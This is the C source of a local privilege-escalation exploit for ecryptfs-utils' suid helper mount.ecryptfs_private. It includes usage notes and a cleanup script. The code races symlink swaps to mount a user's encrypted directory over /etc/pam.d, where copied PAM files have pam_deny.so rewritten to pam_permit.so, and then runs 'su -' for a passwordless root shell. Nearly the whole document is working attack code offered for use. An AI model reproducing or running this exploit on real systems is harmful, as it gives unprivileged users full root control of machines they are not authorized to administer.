/* * mount.ecryptfs_private local root exploit * by Dan Rosenberg (@djrbliss) * * Bugs were reported by Vasiliy Kulikov and independently discovered by me. * * mount.ecryptfs_private allows a user to mount an ecryptfs share on top of a * directory owned by that user. Like nearly every suid-root mount utility that * came before it, there is a race condition between when the ownership of the * mountpoint is checked and when the actual mounting is performed. Successful * exploitation allows an unprivileged local user to mount their encrypted * data on top of arbitrary, potentially root-owned directories, and * subsequently escalate privileges. * * This exploit is dedicated to every software developer who is thinking about * writing a new suid-root mount helper. Don't do it. * * Tested on Ubuntu 11.04, using ecryptfs-utils 87. All older versions are also * vulnerable to the race condition, but exploitation may be slightly * different. For example, this particular exploit is known to *not* work on * Ubuntu 10.04, which uses ecryptfs-utils 83. Tweaking the exploit to work on * other versions is left as an exercise to the reader (sorry script kiddies). * * It would be nicer to use inotify and sched_setaffinity, but this works well * enough that I didn't bother. * * Usage: * $ gcc ecrypt-ffs.c -o ecrypt-ffs * $ ./ecrypt-ffs [mounted encrypted dir] * ... * Password: (just press enter) * # id * uid=0(root) gid=0(root) groups=0(root) * * Cleanup: * # /tmp/cleanup.sh * */ #include #include #include #include #include #include #include #include #define PWNDIR "/tmp/pwn/" #define LINKS "/tmp/pwn/links/" #define MOUNT "/tmp/pwn/mount/" #define DUMMY "/tmp/mount/" #define TARGET "/etc/pam.d/" int attempt = 0; char linkpath[PATH_MAX]; char mountpath[PATH_MAX]; char confpath[PATH_MAX]; char ecryptfspath[PATH_MAX]; int setconf(int attempt) { FILE *f = fopen(confpath, "wb"); if (!f) return -1; fprintf(f, LINKS "%d " MOUNT "%d ecryptfs\n", attempt, attempt); fclose(f); return 0; } void updatepaths(void) { snprintf(mountpath, sizeof(mountpath), MOUNT "%d", attempt); snprintf(linkpath, sizeof(linkpath), LINKS "%d", attempt); symlink(ecryptfspath, linkpath); } void next(int signum) { unlink(linkpath); attempt++; updatepaths(); signal(SIGUSR1, next); } void toggle(void) { updatepaths(); signal(SIGUSR1, next); /* Loop to hit the race */ while (1) { unlink(mountpath); symlink(DUMMY, mountpath); unlink(mountpath); symlink(TARGET, mountpath); } } int create_cleanup_script(char *dir) { FILE *fp = fopen("/tmp/cleanup.sh", "wb"); if (!fp) return -1; fprintf(fp, "#!/bin/sh\n"); fprintf(fp, "umount /etc/pam.d 2>/dev/null\n"); fprintf(fp, "for i in `seq 0 %d`;\n", attempt); fprintf(fp, "do umount /tmp/mount 2>/dev/null; done\n"); fprintf(fp, "for file in `ls /etc/pam.d`;\n"); fprintf(fp, "do rm %s/$file 2>/dev/null; done\n", dir); fprintf(fp, "rm -rf /tmp/pwn 2>/dev/null\n"); fprintf(fp, "rmdir /tmp/mount 2>/dev/null\n"); fprintf(fp, "mv /tmp/mtab /etc/mtab 2>/dev/null\n"); fprintf(fp, "rm /tmp/mtab 2>/dev/null\n"); fprintf(fp, "chown root:root /etc/mtab 2>/dev/null\n"); fprintf(fp, "rm /tmp/cleanup.sh 2>/dev/null\n"); fchmod(fileno(fp), 0755); fclose(fp); return 0; } int main(int argc, char * argv[]) { pid_t racer; uid_t uid; char *home, *private, cmd[1024]; int ret; struct stat st; if (argc != 2) { printf("[*] Usage: ./ecrypt-ffs [mounted encrypted dir]\n"); return 1; } uid = getuid(); home = getenv("HOME"); if (!home) { printf("[-] Must have HOME environment variable set.\n"); return 1; } /* Usually /home/user or /home/user/Private */ private = argv[1]; if (stat("/sbin/mount.ecryptfs_private", &st)) { printf("[-] mount.ecryptfs_private not found.\n"); return 1; } printf("[*] Local root exploit for ecryptfs-utils 87.\n"); printf("[*] Doesn't work on older versions (you've been warned).\n"); snprintf(confpath, sizeof(confpath), "%s/.ecryptfs/Private.conf", home); snprintf(ecryptfspath, sizeof(ecryptfspath), "%s/.Private", home); mkdir(PWNDIR, 0700); mkdir(MOUNT, 0700); mkdir(LINKS, 0700); mkdir(DUMMY, 0700); /* Mimic /etc/pam.d in our encrypted directory, except create an * always-allow rule for authentication. */ snprintf(cmd, sizeof(cmd), "/bin/cp /etc/pam.d/* %s\n", private); system(cmd); snprintf(cmd, sizeof(cmd), "/bin/sed -i " "\"s/pam_deny.so/pam_permit.so/g\" " "%s/common-auth", private); system(cmd); /* It fails to clean up mtab properly, so keep a copy for later */ system("/bin/cp /etc/mtab /tmp/mtab"); create_cleanup_script(private); printf("[*] Run /tmp/cleanup.sh (as root if possible) to clean up.\n"); /* First, fork off a racing thread that will be responsible for * toggling back and forth between a directory owned by us and the * target directory */ printf("[*] Exploiting race condition...\n"); racer = fork(); if (!racer) { toggle(); /* Not reached */ return 1; } /* Write the configuration file used by the mounter */ if (setconf(attempt) < 0) { printf("[-] Failed to set configuration file.\n"); kill(racer, SIGKILL); return 1; } /* Our main process repeatedly tries to mount our ecryptfs share onto * the target mountpoint. With each attempt, we need to change the * name of the mountpoint and the symlink pointing to the ecryptfs * share, and let the racing thread know what the new names are. */ while (1) { ret = system("/sbin/mount.ecryptfs_private Private " "2>/dev/null"); /* Mount failed, try again */ if (ret) continue; /* Mount succeeded, check if our race won */ if (!stat(TARGET, &st) && st.st_uid == uid) break; /* We mounted, but didn't hit the race. We can't unmount, so * increment our counter and adjust */ attempt++; if (setconf(attempt) < 0) { printf("[-] Failed to set configuration file.\n"); kill(racer, SIGKILL); return 1; } /* Tell the racing thread to adjust its counter */ kill(racer, SIGUSR1); sleep(1); } kill(racer, SIGKILL); printf("[+] Exploit successful!\n"); printf("[*] Press enter at the password prompt for a root shell.\n"); system("/bin/su -"); }